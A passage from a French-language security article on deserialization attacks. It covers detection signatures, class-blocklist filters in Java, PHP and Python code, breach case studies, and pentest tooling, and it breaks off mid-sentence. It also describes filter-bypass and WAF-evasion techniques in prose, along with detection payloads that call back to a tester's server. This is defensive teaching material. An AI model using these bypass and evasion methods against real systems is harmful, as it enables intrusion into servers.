# OWASP Dependency-Check
dependency-check --scan /path/to/project --format HTML
# Snyk
snyk test --all-projects
# Retire.js (JavaScript/Node)
retire --path /path/to/project
Détection réseau et signatures
La détection au niveau réseau repose sur l'identification des signatures caractéristiques des données sérialisées dans le trafic HTTP, TCP et les protocoles applicatifs. Les signatures les plus fiables sont le magic byte Java AC ED 00 05 (binaire) ou rO0AB (Base64), la structure PHP O:[0-9]+:" (objets sérialisés), et l'en-tête Content-Type: application/x-java-serialized-object. Les règles Snort, Suricata et les WAF (ModSecurity, AWS WAF) peuvent être configurées pour détecter et bloquer ces patterns, bien que les attaquants utilisent des techniques d'évasion comme le double encodage, la compression, et le chiffrement pour contourner ces détections.
Détection en runtime : RASP et agents Java
Les solutions RASP (Runtime Application Self-Protection) comme Contrast Security, Sqreen (maintenant Datadog), et les agents Java open source comme NotSoSerial et SerialKiller instrumentent le runtime de l'application pour intercepter les appels de désérialisation et appliquer des politiques de filtrage (allowlists/blocklists de classes). Cette approche offre une visibilité et un contrôle supérieurs à la détection réseau car elle opère au niveau sémantique de l'application, avec la capacité de bloquer les tentatives d'exploitation avant l'instanciation des objets malveillants.
Stratégies défensives complètes
La défense contre les attaques par désérialisation exige une approche en profondeur combinant des mesures préventives, détectives et correctives à chaque couche de l'architecture applicative. La stratégie la plus efficace consiste à éliminer la désérialisation de données non fiables — une approche radicale mais réaliste grâce aux alternatives modernes comme JSON, Protocol Buffers, MessagePack et les formats typés. Lorsque la désérialisation native est inévitable (legacy, contraintes de compatibilité), des mécanismes de filtrage stricts doivent être implémentés.
Défense Java : JEP 290 et ObjectInputFilter
Le JEP 290 (Serialization Filtering), introduit dans Java 9 et backporté vers Java 8u121, 7u131 et 6u141, fournit un mécanisme natif de filtrage des désérialisations via l'interface ObjectInputFilter. Ce filtre permet de définir des allowlists de classes autorisées, des blocklists de classes interdites, des limites de profondeur d'imbrication, de taille de tableau et de références, appliqués avant l'instanciation de chaque objet désérialisé.
// Implémentation d'un ObjectInputFilter (JEP 290)
import java.io.*;
public class SafeDeserialization {
// Filtre global - appliqué à tous les ObjectInputStream
static {
ObjectInputFilter globalFilter = ObjectInputFilter.Config.createFilter(
// Allowlist explicite
"com.myapp.model.UserSession;" +
"com.myapp.model.CartItem;" +
"java.lang.String;" +
"java.lang.Integer;" +
"java.util.ArrayList;" +
// Blocklist des classes dangereuses
"!org.apache.commons.collections.*;" +
"!org.apache.commons.beanutils.*;" +
"!org.springframework.beans.*;" +
"!com.sun.org.apache.xalan.*;" +
"!javax.management.*;" +
// Limites de sécurité
"maxdepth=10;maxrefs=1000;maxbytes=500000;maxarray=10000"
);
ObjectInputFilter.Config.setSerialFilter(globalFilter);
}
// Filtre par stream - plus granulaire
public static Object safeDeserialize(InputStream is) throws Exception {
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter filter = info -> {
Class> clazz = info.serialClass();
if (clazz != null) {
// Seules les classes explicitement autorisées passent
if (clazz.getName().startsWith("com.myapp.model.")) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
}
// Vérification des limites
if (info.depth() > 20) return ObjectInputFilter.Status.REJECTED;
if (info.references() > 5000) return ObjectInputFilter.Status.REJECTED;
return ObjectInputFilter.Status.UNDECIDED;
};
ois.setObjectInputFilter(filter);
return ois.readObject();
}
}
Défense PHP : options de unserialize() et alternatives
Depuis PHP 7.0, la fonction unserialize() accepte un paramètre allowed_classes qui restreint les classes pouvant être instanciées lors de la désérialisation. En passant ['allowed_classes' => false], tous les objets sont convertis en instances de __PHP_Incomplete_Class, neutralisant les magic methods. Pour les cas nécessitant la désérialisation d'objets spécifiques, un tableau explicite de classes autorisées peut être fourni. La migration vers json_encode()/json_decode() est recommandée pour toutes les données structurées qui ne nécessitent pas la persistance d'objets PHP complets.
// Défense PHP - Options de unserialize()
// Option 1 : Bloquer toutes les classes (le plus sûr)
$data = unserialize($input, ['allowed_classes' => false]);
// Les objets deviennent __PHP_Incomplete_Class - pas de magic methods
// Option 2 : Allowlist stricte
$data = unserialize($input, [
'allowed_classes' => ['App\\Models\\UserSession', 'App\\Models\\CartItem']
]);
// Option 3 : Wrapper sécurisé avec validation
function safe_unserialize(string $data, array $allowedClasses = []) {
// Vérification du format (pas de manipulation de type)
if (preg_match('/[OC]:\+?[0-9]+:/', $data)) {
// Contient des objets - vérifier l'allowlist
if (empty($allowedClasses)) {
throw new \InvalidArgumentException('Object deserialization not allowed');
}
return unserialize($data, ['allowed_classes' => $allowedClasses]);
}
// Données scalaires/tableaux uniquement
return unserialize($data, ['allowed_classes' => false]);
}
// Option 4 : Migration vers JSON (recommandé)
// Avant :
// $session = unserialize($_COOKIE['session_data']);
// Après :
$session = json_decode($_COOKIE['session_data'], true); // Tableau associatif, pas d'objets
Défense .NET : abandon de BinaryFormatter
Microsoft recommande fermement la migration depuis BinaryFormatter vers des alternatives sûres. Pour la sérialisation JSON, System.Text.Json (natif .NET Core/5+) est recommandé avec la configuration par défaut qui n'inclut pas les informations de type. Pour Newtonsoft.Json, le paramètre TypeNameHandling doit être fixé à None (défaut) et ne jamais être modifié. Pour les scénarios nécessitant une sérialisation binaire performante, Protocol Buffers (protobuf-net), MessagePack et System.Text.Json source generators offrent des alternatives sûres et performantes. Concernant les ViewState ASP.NET, la vérification MAC doit être activée, les machineKeys doivent être aléatoires et unique par application, et la migration vers ASP.NET Core (qui n'utilise pas ViewState) est la solution définitive.
Défense Python : alternatives à pickle
La règle fondamentale en Python est de ne jamais unpickler des données non fiables. Pour la sérialisation de données structurées, JSON, MessagePack et Protocol Buffers sont les alternatives recommandées. Pour l'écosystème ML, le format safetensors développé par Hugging Face offre un remplacement sûr de pickle pour les tenseurs (PyTorch, TensorFlow), tandis que le format ONNX (Open Neural Network Exchange) permet l'échange de modèles entre frameworks sans désérialisation dangereuse. Pour les cas où pickle est inévitable, l'implémentation d'un RestrictedUnpickler limitant les modules et classes autorisés offre une couche de protection, bien qu'elle ne soit pas considérée comme infaillible.
import pickle
import io
# RestrictedUnpickler - Limitation des classes autorisées
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED_MODULES = {
'builtins': {'range', 'complex', 'set', 'frozenset', 'slice'},
'collections': {'OrderedDict'},
'numpy': {'ndarray', 'dtype', 'float64', 'int64'},
}
def find_class(self, module, name):
if module in self.ALLOWED_MODULES:
if name in self.ALLOWED_MODULES[module]:
return getattr(__import__(module), name)
raise pickle.UnpicklingError(
f"Classe non autorisée: {module}.{name}"
)
def safe_loads(data: bytes):
"""Unpickle sécurisé avec allowlist de classes"""
return RestrictedUnpickler(io.BytesIO(data)).load()
# Utilisation
try:
obj = safe_loads(untrusted_data)
except pickle.UnpicklingError as e:
print(f"Tentative de désérialisation malveillante : {e}")
# Alternative ML : safetensors (Hugging Face)
from safetensors.torch import save_file, load_file
# Sauvegarde sûre (pas de pickle)
tensors = {"weights": model.state_dict()["layer.weight"]}
save_file(tensors, "model.safetensors")
# Chargement sûr (pas d'exécution de code)
loaded = load_file("model.safetensors") # Retourne un dict de tenseurs
Études de cas : attaques réelles par désérialisation
L'analyse des attaques réelles par désérialisation révèle des patterns récurrents et illustre l'impact opérationnel de cette classe de vulnérabilités sur des organisations de toutes tailles. Chaque cas met en lumière des failles spécifiques dans les processus de développement, de déploiement et de monitoring qui ont permis l'exploitation.
Apache Struts et Equifax (2017)
La compromission d'Equifax, l'une des trois principales agences de crédit américaines, reste l'une des brèches de données les plus dévastatrices de l'histoire, ayant exposé les informations personnelles (SSN, dates de naissance, adresses) de 147 millions de personnes. L'attaque a exploité la CVE-2017-5638, une vulnérabilité dans le parser multipart d'Apache Struts 2 qui permettait l'injection d'expressions OGNL (Object-Graph Navigation Language) via des en-têtes Content-Type malformés. Bien que techniquement une injection d'expression plutôt qu'une désérialisation classique, le mécanisme sous-jacent repose sur la reconstruction d'objets à partir de données non fiables — le principe fondamental de la désérialisation insécurisée. L'attaque a été facilitée par le fait qu'Equifax n'avait pas appliqué le patch disponible pendant plus de deux mois, et que le certificat SSL de leur outil de monitoring réseau était expiré depuis 19 mois, empêchant la détection du trafic chiffré vers les serveurs de l'attaquant.
Campagnes WebLogic (2019-2024)
Oracle WebLogic a été la cible de multiples campagnes d'exploitation de désérialisation à grande échelle. La CVE-2019-2725 et la CVE-2019-2729 (contournement du patch) exploitaient la désérialisation XMLDecoder dans les composants wls-wsat et wls9-async de WebLogic, permettant l'exécution de code non authentifié. Ces vulnérabilités ont été activement exploitées pour le déploiement de cryptomineurs (campagnes 8220 Gang), de ransomwares, et de backdoors APT. La CVE-2020-14882 combinait un bypass d'authentification avec la désérialisation pour une compromission en une seule requête HTTP. Plus récemment, la CVE-2023-21839 a démontré que malgré les nombreux correctifs, les surfaces de désérialisation de WebLogic restent des cibles lucratives pour les attaquants.
Exchange Server et ViewState (2020-2021)
L'exploitation des serveurs Microsoft Exchange via les attaques ProxyLogon (CVE-2021-26855) et ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) a inclus des composants de désérialisation critiques. L'attaque ProxyShell en particulier exploitait la désérialisation ViewState dans le backend Exchange après avoir obtenu les machineKeys via les vulnérabilités SSRF, aboutissant à l'exécution de code avec les privilèges SYSTEM. Le groupe APT Hafnium (attribué à la Chine) a exploité ces vulnérabilités pour compromettre des dizaines de milliers de serveurs Exchange dans le monde, installant des webshells et exfiltrant des emails.
Magento et les campagnes Magecart
Les plateformes e-commerce Magento ont été la cible de campagnes de compromission de masse exploitant des vulnérabilités de désérialisation PHP pour injecter des skimmers JavaScript de cartes bancaires. La technique Magecart, nommée d'après les premières campagnes ciblant Magento, utilise les POP chains PHP pour obtenir un accès initial au serveur, puis modifie les templates ou la base de données pour injecter du code JavaScript capturant les données de paiement des clients en temps réel. Des milliers de boutiques en ligne ont été compromises, affectant des millions de consommateurs, avec des groupes cybercriminels comme FIN6 et Magecart Group 7 spécialisés dans ce type d'attaques.
Cas avancés : désérialisation dans les architectures modernes
Les architectures modernes basées sur les microservices, le cloud natif et les API REST n'ont pas éliminé les risques de désérialisation — elles les ont transformés et parfois amplifiés. La communication inter-services utilise fréquemment des formats de sérialisation binaires pour la performance (gRPC/Protobuf, Apache Thrift, Avro), les caches distribués (Redis, Memcached) stockent des objets sérialisés, et les files de messages (Kafka, RabbitMQ, SQS) transportent des payloads sérialisés entre services. La surface d'attaque est diluée mais toujours présente, nécessitant une vigilance à chaque point de désérialisation de l'architecture.
Désérialisation dans les caches Redis
Redis est massivement utilisé comme cache applicatif et store de sessions dans les architectures modernes. De nombreuses applications stockent des objets sérialisés (pickle en Python, serialize en PHP, ObjectOutputStream en Java) dans Redis pour optimiser les performances. Si un attaquant obtient un accès au serveur Redis (exploitation de mots de passe faibles, SSRF, ou Redis exposé sans authentification — un problème historiquement répandu), il peut remplacer les valeurs en cache par des objets malveillants qui seront désérialisés par l'application lors de la prochaine lecture. Cette technique de cache poisoning est particulièrement insidieuse car elle ne nécessite pas d'exploiter directement l'application web.
Désérialisation dans les files de messages
Les architectures event-driven utilisant Kafka, RabbitMQ ou AWS SQS transportent souvent des messages contenant des objets sérialisés. Dans les environnements Java, l'utilisation de ObjectMessage JMS (Java Message Service) crée un vecteur de désérialisation où chaque consommateur du message exécute readObject() sur le contenu. Un attaquant ayant accès au broker de messages ou capable d'injecter des messages (via une API mal protégée, un producteur compromis, ou l'exploitation de la configuration AMQP/Kafka) peut propager des objets malveillants à tous les services consommateurs, transformant une compromission locale en compromission de l'architecture entière.
Désérialisation dans les API GraphQL
Les API GraphQL avec des scalars personnalisés ou des directives d'upload de fichiers peuvent introduire des vecteurs de désérialisation inattendus. Les implémentations Java de GraphQL (graphql-java) combinées avec des bibliothèques comme Spring GraphQL peuvent exposer des endpoints acceptant des types complexes dont la résolution implique une désérialisation. Les mutations GraphQL transportant des fichiers encodés en Base64 ou multipart peuvent servir de vecteur d'injection pour des données sérialisées malveillantes, particulièrement si le backend effectue un traitement automatique des fichiers uploadés (parsing XML, traitement d'images avec des métadonnées EXIF contenant des données sérialisées, etc.).
Outils d'audit et de pentest pour la désérialisation
L'évaluation de la sécurité face aux attaques par désérialisation nécessite un arsenal d'outils spécialisés couvrant la reconnaissance, l'exploitation et la post-exploitation. L'approche méthodique commence par l'identification des points d'entrée de désérialisation dans l'application cible, se poursuit par l'énumération des gadget chains disponibles, et culmine avec la génération et l'injection de payloads d'exploitation. Les outils suivants constituent l'arsenal de référence pour les tests d'intrusion ciblant la désérialisation, complémentaires aux techniques d'OSINT et reconnaissance offensive utilisées en phase initiale.
| Outil | Langage cible | Fonction principale | Licence |
|---|---|---|---|
| ysoserial | Java | Génération de gadget chains Java | MIT |
| ysoserial.net | .NET | Génération de gadget chains .NET | MIT |
| PHPGGC | PHP | Génération de POP chains PHP | MIT |
| GadgetProbe | Java | Détection classes classpath distant | MIT |
| GadgetInspector | Java | Découverte automatique de chaînes | Apache 2.0 |
| Marshalsec | Java | Serveurs JNDI/LDAP/RMI | MIT |
| SerializationDumper | Java | Analyse de flux sérialisés | MIT |
| Burp Deserialization Scanner | Multi | Détection automatique dans HTTP | Commercial |
| Java Deserialization Scanner (Burp) | Java | Plugin Burp spécialisé | GPL |
| Freddy (Burp) | Multi | Détection de formats sérialisés | BSD |
| Fickling | Python | Analyse et audit de fichiers pickle | BSD |
| Pickletools | Python | Désassembleur pickle natif | PSF |
Méthodologie de test d'intrusion pour la désérialisation
Une méthodologie systématique de test d'intrusion pour la désérialisation comprend cinq phases distinctes. La phase de reconnaissance identifie les technologies serveur (Java/.NET/PHP/Python), les frameworks utilisés, et les points d'entrée potentiels (cookies, paramètres POST, en-têtes, protocoles binaires). La phase de détection utilise des payloads de détection non destructifs (URLDNS pour Java, DNS lookup pour Python) qui déclenchent une résolution DNS vers un serveur contrôlé — confirmant la vulnérabilité sans impact sur le serveur. La phase d'exploitation génère des payloads adaptés au classpath identifié (via GadgetProbe ou l'analyse des fichiers JAR/war déployés). La phase de post-exploitation établit la persistance et pivote dans l'infrastructure. Enfin, la phase de reporting documente la chaîne d'exploitation complète avec les recommandations de remédiation.
Bonnes pratiques de développement sécurisé
L'intégration de la sécurité contre la désérialisation dans le cycle de développement (SDLC) nécessite des pratiques systématiques à chaque étape : conception, développement, revue de code, tests automatisés et déploiement. Les équipes de développement doivent adopter une mentalité de zero trust envers toutes les données sérialisées provenant de l'extérieur de la frontière de confiance de l'application, en cohérence avec les principes de défense MITRE ATT&CK.
Règles architecturales fondamentales
- Privilégier les formats de données simples : JSON, Protocol Buffers, MessagePack, Avro et les formats CSV/TSV ne permettent pas l'instanciation d'objets arbitraires lors du parsing et doivent être préférés aux formats de sérialisation natifs
- Implémenter des allowlists strictes : lorsque la désérialisation native est inévitable, seules les classes explicitement autorisées doivent pouvoir être instanciées (JEP 290 en Java, allowed_classes en PHP, RestrictedUnpickler en Python)
- Signer et chiffrer les données sérialisées : les données sérialisées en transit ou stockées côté client (cookies, ViewState, tokens) doivent être signées avec HMAC et optionnellement chiffrées pour empêcher la manipulation
- Isoler les processus de désérialisation : les opérations de désérialisation de données non fiables doivent s'exécuter dans des sandboxes (containers, seccomp, AppArmor) avec des privilèges minimaux
- Monitorer les tentatives de désérialisation : les logs d'application doivent enregistrer les opérations de désérialisation, les classes instanciées, et les erreurs de type, alimentant les règles de détection SIEM
- Mettre à jour les dépendances : les bibliothèques contenant des gadget chains connues (Commons Collections, Spring, etc.) doivent être maintenues à jour, et les composants obsolètes (BinaryFormatter) doivent être remplacés
Intégration CI/CD
L'automatisation de la détection des vulnérabilités de désérialisation dans le pipeline CI/CD constitue la dernière ligne de défense avant le déploiement en production. Les étapes recommandées incluent l'exécution de scans SAST (Semgrep, CodeQL) sur chaque pull request, l'analyse SCA (Dependency-Check, Snyk) pour identifier les bibliothèques contenant des gadget chains connues, et l'exécution de tests DAST (OWASP ZAP, Burp Enterprise) sur les environnements de staging. Les résultats de ces analyses doivent être intégrés dans les critères de qualité (quality gates) du pipeline, bloquant les déploiements contenant des vulnérabilités de désérialisation critiques.
Checklist de sécurité contre la désérialisation :
- Inventorier tous les points d'entrée de désérialisation dans l'application
- Remplacer les sérialiseurs natifs (Java ObjectOutputStream, PHP serialize, Python pickle) par JSON ou Protobuf
- Implémenter JEP 290 (Java), allowed_classes (PHP), RestrictedUnpickler (Python)
- Supprimer BinaryFormatter de tous les projets .NET et migrer vers System.Text.Json
- Vérifier que TypeNameHandling = None dans toute configuration Newtonsoft.Json
- Signer les ViewState ASP.NET avec des machineKeys aléatoires uniques
- Scanner les dépendances pour les bibliothèques contenant des gadget chains connues
- Configurer les règles WAF/IDS pour détecter les signatures de sérialisation (AC ED 00 05, rO0AB)
- Exécuter des tests SAST/DAST ciblant la désérialisation dans le pipeline CI/CD
- Former les développeurs aux risques de la désérialisation et aux alternatives sûres
Évolutions et tendances futures
Le paysage des attaques par désérialisation continue d'évoluer, façonné par les changements dans les écosystèmes de programmation, les architectures applicatives et les mécanismes de défense. Plusieurs tendances émergent qui redefiniront les risques et les stratégies de protection dans les années à venir.
Suppression progressive des sérialiseurs dangereux
Les éditeurs de langages et de frameworks prennent des mesures de plus en plus radicales pour éliminer les vecteurs de désérialisation. Microsoft a supprimé BinaryFormatter de .NET 9, Java renforce progressivement les filtres de désérialisation (JEP 415 pour le contexte-specific deserialization filtering), et PyYAML a basculé vers safe_load par défaut. Cette tendance à l'élimination des sérialiseurs dangereux plutôt qu'à leur sécurisation reflète une maturité croissante de l'industrie face à cette classe de vulnérabilités, conformément au principe de "secure by default".
Désérialisation dans l'écosystème ML/IA
L'explosion de l'intelligence artificielle et du machine learning crée de nouvelles surfaces d'attaque par désérialisation à travers les modèles sérialisés (pickle pour PyTorch/scikit-learn), les pipelines de données (Apache Spark, Airflow), et les registres de modèles (MLflow, Hugging Face Hub). Les initiatives comme safetensors, la vérification d'intégrité des modèles sur Hugging Face, et les sandboxes d'exécution pour l'inférence constituent des réponses émergentes, mais l'adoption reste insuffisante dans un écosystème où la rapidité d'itération prime souvent sur la sécurité. L'audit de sécurité des pipelines ML est un domaine en pleine expansion, couvert dans notre analyse des techniques de red teaming IA.
Techniques d'évasion avancées
Les attaquants développent des techniques sophistiquées pour contourner les défenses contre la désérialisation : obfuscation des gadget chains via la réflexion multi-niveaux, encapsulation dans des wrappers (DataSet en .NET, SignedObject en Java) qui échappent aux filtres, utilisation de second-order deserialization où le payload n'est pas directement dans les données contrôlées mais dans un store intermédiaire (base de données, cache), et exploitation de type confusion dans les sérialiseurs JSON avec typage dynamique. La course entre les mécanismes de défense et les techniques d'évasion continuera de s'intensifier, nécessitant une veille technologique constante et une approche défensive en profondeur.
FAQ
Qu'est-ce qu'une attaque par désérialisation et pourquoi est-elle si dangereuse ?
Une attaque par désérialisation exploite le processus de reconstruction d'objets à partir de données sérialisées contrôlées par un attaquant. Elle est particulièrement dangereuse car elle permet souvent l'exécution de code arbitraire à distance (RCE) sans authentification, en exploitant des classes légitimes déjà présentes dans l'application (gadget chains). L'attaquant n'injecte pas de code malveillant à proprement parler — il manipule des données pour déclencher une séquence de méthodes existantes aboutissant à l'exécution de commandes système. L'impact est maximal : contrôle total du serveur, exfiltration de données, pivot réseau, persistance. La criticité est renforcée par le fait que les points d'entrée de désérialisation sont souvent pré-authentification (cookies de session, paramètres d'API, protocoles de communication).
Comment détecter les vulnérabilités de désérialisation dans une application Java ?
La détection repose sur une approche multi-couches. L'analyse statique (SAST) recherche les appels à ObjectInputStream.readObject() et vérifie si les données proviennent de sources non fiables via l'analyse de taint (outils : Semgrep, CodeQL, FindSecBugs). L'analyse des dépendances (SCA) identifie les bibliothèques contenant des gadget chains connues dans le classpath (outils : OWASP Dependency-Check, Snyk). L'analyse dynamique utilise des payloads de détection non destructifs comme URLDNS de ysoserial qui déclenchent une résolution DNS vers un serveur contrôlé sans exécuter de code. L'inspection réseau recherche la signature AC ED 00 05 (binaire) ou rO0AB (Base64) dans le trafic. L'outil GadgetProbe permet de cartographier le classpath distant pour identifier les chaînes exploitables.
Quelle est la différence entre ysoserial (Java) et PHPGGC (PHP) ?
ysoserial génère des objets Java sérialisés binaires exploitant les gadget chains des bibliothèques Java (Commons Collections, CommonsBeanutils, Spring, Hibernate). Les payloads sont injectés dans des endpoints acceptant des objets sérialisés Java (RMI, JMX, HTTP POST avec Content-Type approprié). PHPGGC génère des chaînes PHP sérialisées textuelles (POP chains) exploitant les magic methods des frameworks PHP (Laravel, Symfony, Magento, Monolog). Les payloads sont injectés dans des appels à unserialize(), des cookies, ou via le wrapper phar://. La différence fondamentale est le format : binaire pour Java, texte pour PHP. Les deux outils suivent le même principe : enchaîner des méthodes existantes dans les bibliothèques de l'application pour atteindre l'exécution de code.
Le passage à JSON élimine-t-il tous les risques de désérialisation ?
Le JSON standard (sans extension de type) élimine les risques de désérialisation classique car il ne supporte que les types primitifs (strings, nombres, booléens, null), les tableaux et les objets clé-valeur — il ne peut pas instancier de classes arbitraires. Cependant, certaines bibliothèques JSON ajoutent des extensions de typage qui réintroduisent des risques : Newtonsoft.Json avec TypeNameHandling != None en .NET permet de spécifier des types via le champ $type, Jackson en Java avec enableDefaultTyping() ou @JsonTypeInfo permet l'instanciation polymorphique. De plus, JSON ne protège pas contre les vulnérabilités logiques (mass assignment, injection de propriétés inattendues). La règle est : JSON standard oui, extensions de typage non — ou avec des allowlists de types strictes.
Comment protéger une application Python utilisant pickle pour les modèles ML ?
La meilleure protection est de migrer vers des formats sûrs : safetensors (Hugging Face) pour les poids de modèles PyTorch/TensorFlow, ONNX pour l'échange de modèles entre frameworks, et JSON/MessagePack pour les métadonnées et configurations. Si pickle est inévitable (compatibilité legacy), implémentez un RestrictedUnpickler avec une allowlist stricte de modules et classes autorisés (numpy, torch.Tensor, etc.), vérifiez l'intégrité des fichiers pickle avec des signatures cryptographiques (HMAC-SHA256) avant le chargement, et exécutez le unpickling dans une sandbox (container Docker sans réseau, seccomp, avec utilisateur non privilégié). PyTorch propose aussi torch.load(weights_only=True) depuis la version 2.0 qui refuse les objets arbitraires et ne charge que les tenseurs.
Les WAF sont-ils efficaces contre les attaques par désérialisation ?
Les WAF (Web Application Firewalls) offrent une couche de détection utile mais insuffisante. Ils peuvent détecter les signatures évidentes comme le magic byte Java AC ED 00 05, les structures PHP O:[0-9]+:", et les en-têtes Content-Type suspects. Cependant, les attaquants contournent facilement ces détections par encodage (Base64, URL encoding, double encoding), compression (gzip), chiffrement (cookies chiffrés côté client), et encapsulation dans des formats légitimes (multipart, JSON avec champs Base64). Un WAF ne peut pas analyser le contenu sémantique des données sérialisées ni déterminer si un objet est malveillant. Les WAF sont donc un complément nécessaire mais ne remplacent pas les défenses applicatives (filtres de désérialisation, allowlists de classes, migration vers des formats sûrs).
Quels sont les risques de désérialisation dans les ViewState ASP.NET ?
Le ViewState ASP.NET sérialise l'état des contrôles de page et l'envoie au client dans un champ HTML caché. Les risques surviennent dans trois scénarios : (1) la validation MAC est désactivée (enableViewStateMac="false"), permettant la modification libre du ViewState et l'injection d'objets malveillants ; (2) la machineKey est compromise (via fuite de web.config, attaque Padding Oracle MS10-070, ou clé par défaut), permettant la falsification du MAC et la création de ViewState malveillants signés ; (3) la combinaison de vulnérabilités (SSRF + ViewState comme dans ProxyShell) où une faille distincte expose les clés cryptographiques. La protection repose sur des machineKeys aléatoires uniques, la mise à jour des frameworks .NET, et idéalement la migration vers ASP.NET Core qui n'utilise pas ViewState. L'outil ysoserial.net avec le plugin ViewState automatise l'exploitation lorsque les clés sont connues.
Comment tester la désérialisation lors d'un pentest sans causer de dommages ?
Les payloads de détection non destructifs sont essentiels pour confirmer une vulnérabilité de désérialisation sans impacter le serveur cible. En Java, le payload URLDNS de ysoserial déclenche une résolution DNS vers un domaine contrôlé par le pentester (Burp Collaborator, interactsh) — confirmant la désérialisation sans exécuter de code. En Python, un payload pickle utilisant urllib.request.urlopen pour un GET vers un serveur contrôlé fournit la même confirmation. En PHP, une POP chain déclenchant dns_get_record() ou file_get_contents('http://collaborator') sert de détecteur. En .NET, un payload déclenchant une résolution DNS via System.Net.Dns.GetHostEntry() est utilisable. Ces payloads confirment que la désérialisation a lieu et que le code de l'objet injecté est exécuté, sans aucun effet destructif sur le système cible. Le pentester peut ensuite documenter la vulnérabilité et recommander la remédiation sans avoir besoin de démontrer un RCE complet.
Techniques de contournement des protections contre la désérialisation
Les mécanismes de protection modernes contre la désérialisation — JEP 290 en Java, allowed_classes en PHP, RestrictedUnpickler en Python — ne sont pas infaillibles. Les chercheurs en sécurité et les attaquants développent continuellement des techniques pour contourner ces défenses, créant une course permanente entre les mécanismes de protection et les techniques d'évasion. La compréhension de ces contournements est essentielle pour les pentesters qui évaluent l'efficacité des défenses en place, et pour les développeurs qui doivent anticiper les vecteurs d'attaque émergents.
Contournement de JEP 290 en Java
Le JEP 290 introduit un mécanisme de filtrage qui inspecte chaque classe avant son instanciation lors de la désérialisation. Cependant, plusieurs techniques permettent de contourner ces filtres. La première exploite les wrappers d'encapsulation : des classes autorisées par le filtre qui encapsulent d'autres objets sérialisés dans leurs champs. Par exemple, javax.management.BadAttributeValueExpException contient un champ Object val qui est désérialisé sans passer par le filtre externe si l'exception elle-même est autorisée. La technique du SignedObject wrapper exploite java.security.SignedObject qui encapsule un objet sérialisé signé — si SignedObject est dans l'allowlist (ce qui est courant car il fait partie du JDK), son contenu est désérialisé avec un ObjectInputStream interne qui peut ne pas avoir le même filtre appliqué. Le JNDI-based bypass utilise des classes autorisées qui effectuent des lookups JNDI lorsqu'elles sont désérialisées, déclenchant le chargement de classes distantes qui ne passent pas par le filtre initial. La technique du classloader manipulation exploite le fait que certains filtres vérifient uniquement le nom de la classe sans considérer le classloader, permettant de charger des versions modifiées de classes autorisées depuis des classloaders différents.
Contournement des blocklists en PHP
Les protections PHP basées sur les blocklists de classes (interdire certaines classes dans unserialize) sont contournables via plusieurs techniques. La manipulation de la casse exploite le fait que PHP est insensible à la casse pour les noms de classes — O:11:"FileHandler" et O:11:"filehandler" désérialisent la même classe, mais un filtre regex cherchant "FileHandler" peut manquer la version en minuscules. La technique du type juggling exploite les conversions implicites de PHP : un entier peut être injecté là où un objet est attendu, causant un comportement indéfini si l'application accède à des propriétés de l'entier comme s'il s'agissait d'un objet. Les POP chains alternatives constituent le contournement le plus courant : si une gadget chain spécifique est bloquée, une chain alternative utilisant d'autres classes du même framework peut aboutir au même effet. La mise à jour des bibliothèques peut également introduire de nouvelles classes exploitables non couvertes par la blocklist existante. Enfin, l'exploitation du wrapper phar:// contourne la restriction sur unserialize() car la désérialisation est effectuée implicitement par le moteur PHP lors de l'accès au fichier PHAR, sans appel explicite à la fonction bloquée.
Techniques d'obfuscation des payloads sérialisés
Les attaquants sophistiqués utilisent des techniques d'obfuscation pour dissimuler les payloads sérialisés et contourner les systèmes de détection (WAF, IDS, RASP). En Java, les payloads peuvent être compressés avec gzip puis encodés en Base64, encapsulés dans des couches multiples de sérialisation, ou fragmentés entre plusieurs paramètres HTTP qui sont recombinés côté serveur. En PHP, la manipulation des longueurs de chaîne dans le format sérialisé, l'utilisation de références internes, et l'injection de caractères null permettent de créer des payloads qui échappent aux patterns de détection regex. En Python, les payloads pickle peuvent utiliser des opcodes alternatifs pour le même résultat, le protocole pickle version 0 (ASCII) versus versions supérieures (binaire) pour modifier la signature, et la fragmentation du payload en multiples appels pickle séquentiels. Ces techniques d'obfuscation doivent être comprises par les défenseurs pour adapter leurs mécanismes de détection au-delà de la simple recherche de signatures statiques.
Impact de la désérialisation sur les architectures serverless et cloud-native
Les architectures cloud-native (AWS Lambda, Azure Functions, Google Cloud Functions) et serverless ne sont pas exemptées des risques de désérialisation, bien que la nature éphémère des exécutions modifie les vecteurs d'exploitation et l'impact. Les fonctions Lambda qui traitent des événements SQS contenant des objets sérialisés Java via le SDK AWS, les Azure Functions qui désérialisent des messages BinaryFormatter depuis les Azure Service Bus, et les Cloud Functions Python qui unpicklent des données depuis Cloud Storage sont toutes vulnérables. L'impact est cependant limité par l'isolation des containers d'exécution, les IAM roles restreints, et la courte durée de vie des instances — mais un attaquant peut exploiter les permissions cloud de la fonction (accès S3, DynamoDB, Secrets Manager) pour une exfiltration de données à grande échelle ou un pivotement vers d'autres services cloud via les metadata endpoints. Les architectures de microservices communicants via gRPC utilisent Protocol Buffers comme format de sérialisation, intrinsèquement plus sûr. Cependant, certaines implémentations hybrides qui combinent protobuf pour la structure et pickle/Java serialization pour les champs any ou bytes réintroduisent les risques. Les systèmes d'event sourcing qui persistent des événements sérialisés dans des stores (EventStore, Kafka) créent des bombes à retardement si le format de sérialisation n'est pas sécurisé — un événement empoisonné injecté dans le store sera désérialisé par chaque consommateur qui replay l'historique.
Forensics et investigation post-incident de désérialisation
L'investigation forensique d'une attaque par désérialisation présente des défis spécifiques liés à la nature transitoire des payloads qui existent en mémoire pendant la désérialisation mais ne sont pas nécessairement écrits sur le disque, et à la difficulté de distinguer les opérations de désérialisation légitimes des exploitations. Les sources d'artefacts forensiques incluent les logs applicatifs (stack traces d'exceptions ClassNotFoundException ou ClassCastException qui révèlent des tentatives échouées), les captures réseau (présence de la signature AC ED 00 05 ou de structures sérialisées dans le trafic HTTP), les dumps mémoire (objets malveillants en mémoire au moment de la désérialisation), et les logs système (exécution de commandes par des processus applicatifs qui ne devraient pas spawner de shell). La timeline reconstruction d'une attaque par désérialisation suit typiquement le pattern : reconnaissance via probing avec URLDNS ou payloads invalides générant des erreurs distinctives, enumeration via GadgetProbe pour cartographier le classpath, exploitation via injection du payload RCE adapté au classpath identifié, et post-exploitation via établissement de la persistance et mouvement latéral. Les artefacts laissés à chaque étape permettent de reconstruire la chronologie et l'étendue de la compromission. Pour les environnements Java, l'analyse du heap dump peut révéler les objets 